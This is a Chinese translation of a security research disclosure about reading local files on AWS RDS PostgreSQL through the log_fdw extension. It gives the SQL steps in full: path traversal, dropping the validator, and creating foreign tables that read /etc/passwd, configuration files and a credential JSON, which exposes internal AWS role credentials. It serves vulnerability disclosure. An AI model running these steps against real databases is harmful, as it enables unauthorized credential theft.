通过使用 log_fdw 扩展利用 RDS EC2 实例上的本地文件读取漏洞获得了内部 AWS 服务的凭证。原文地址:https://blog.lightspin.io/aws-rds-critical-security-vulnerability
您可能已经熟悉 Amazon RDS 是什么。但简而言之,Amazon Relational Database Service (RDS) 是一种托管数据库服务,它支持多种不同的数据库引擎,例如 MariaDB、MySQL,以及本文的测试用例:PostgreSQL。
探索
我使用 Amazon Aurora PostgreSQL 引擎创建了一个 Amazon RDS 数据库实例,并使用 psql 连接到数据库。
请注意,“postgres”用户不是真正的超级用户,它是rds_superuser。
AWS 文档将角色描述为“ rds_superuser 角色是预定义的 Amazon RDS 角色,类似于 PostgreSQL 超级用户角色(在本地实例中通常命名为 postgres),但有一些限制。”
显然,这个rds_superuser不能运行系统命令、读取本地文件或执行与机器相关的任何操作。否则,这太容易了😉
下图为尝试使用rds_superuser角色时失败操作的详情:
所以,我考虑过使用不受信任的语言来创建一个可以执行系统命令的函数,但是我无法加载不受信任的语言,例如plperlu或plpythonu。
返回错误时建议查看rds.extensions配置参数:
尽管 Amazon RDS for PostgreSQL 引擎支持许多语言扩展,但它们都不是不受信任的语言。因此,我决定对扩展做一些进一步的分析和研究,希望能找到线索。
log_fdw 扩展
9.6.2 及更高版本的 Amazon RDS for PostgreSQL 引擎支持log_fdw扩展。此扩展使用户能够使用 SQL 接口访问数据库引擎日志,并构建外部表,并将日志数据整齐地分成几列。
获取 log_fdw 扩展并将日志服务器创建为外部数据包装器。
创建扩展 log_fdw;
CREATE SERVER log_server FOREIGN DATA WRAPPER log_fdw;
SELECT * FROM list_postgres_log_files() order by 1;
选择一个日志文件,创建一个表并读取其内容。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘postgresql.log’);
SELECT * FROM my_postgres_error_log;
首先想到的是尝试路径遍历,如下图。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘../../../../../etc/passwd’);
执行命令后,我收到以下异常:“错误:指定的日志文件路径无效。”
我想知道错误是由于相对路径还是由于某些验证功能而发生的。为了检查我是否尝试了另一个被归类为恶意攻击的相对路径。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘./postgresql.log’);
这显然是一个验证功能。
了解 PostgreSQL 外部数据
PostgreSQL 允许使用常规 SQL 查询访问驻留在 PostgreSQL 之外的数据。此类数据称为外部数据,可在外部数据包装器的帮助下进行访问。外部数据包装器是一个库(通常用 C 编写),可以与外部数据源(例如文件)进行通信,并可以从中获取数据。
创建函数后,用户可以创建外部数据包装器。
用户还需要创建一个外部服务器,它定义了如何连接到一个特定的外部数据源。
然后,用户需要创建一个外表,定义外部数据结构的表。
外部数据表上的所有操作都通过其关联的外部数据包装器处理。
AWS 为 log_fwd 创建了一个自定义外部数据包装器,其中包含一个处理函数和一个验证器函数。
SELECT * FROM pg_foreign_data_wrapper;
绕过 log_fdw 扩展验证
回到路径遍历……验证可以发生在验证器函数、处理函数或两者中。由于验证器功能是可选的,因此您可以在不损坏功能的情况下删除它。
ALTER FOREIGN DATA WRAPPER log_fdw NO VALIDATOR;
现在我们检查遍历是否有效……
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘../../../../../etc/passwd’);
SELECT * FROM my_postgres_error_log;
它做了!!!处理函数中没有验证。
由于不再需要遍历,因此可以直接创建表:
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/etc/passwd’);
SELECT * FROM demo;
发现 AWS 内部服务访问令牌
我花了一些时间检查系统文件,直到我在 PostgreSQL 配置文件中发现了一个有趣的参数,该参数没有通过使用 psql 显示出来。
PostgreSQL 配置文件位于“/rdsdbdata/config/postgresql.conf”。这是配置文件的输出。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/rdsdbdata/config/postgresql.conf’); SELECT * FROM demo;
下面的屏幕截图突出显示了“apg_storage_conf_file”的有趣参数,它指向另一个名为“grover_volume.conf”的配置文件。
我不知道“grover”是什么意思,但让我们看一下文件的内容。
这是读取“/rdsdbdata/config/grover_volume.conf”内容的输出。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/rdsdbdata/config/grover_volume.conf’); SELECT * FROM demo;
文件内容指向另一个文件“/tmp/csd-grover-credentials.json”。让我们看一下文件的内容(希望不会再次被重定向到另一个文件😅 )
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/tmp/csd-grover-credentials.json’); SELECT * FROM demo;
该文件包括“CSD_GROVER_API_CREDENTIALS”类型的临时凭证。“publicKey”和“privateKey”值分别类似于 STS“AccessKeyId”和“SecretAccessKey”。表明这一点的迹象是“ASIA”的“publicKey”前缀(如 AWS IAM 用户指南的唯一标识符部分中所指定)和附加的“token”参数。
这已通过将访问密钥、秘密访问密钥和会话令牌导出到我的环境并使用 AWS Security Token Service (STS) GetCallerIdentity API 进行验证,该 API 返回当前用户 ID、账户 ID 和 Amazon 资源名称 (ARN)使用 IAM 凭证。从 ARN 中,我们可以看到假定的角色名称是 AWS 内部账户中的“csd-grover-role”。
在传输三个不同的文件时,我能够发现一个内部 AWS 服务并获得对它的访问权限。我的分析和研究到此结束,我没有尝试列举任何 IAM 权限或进一步横向移动到 AWS 的内部环境中。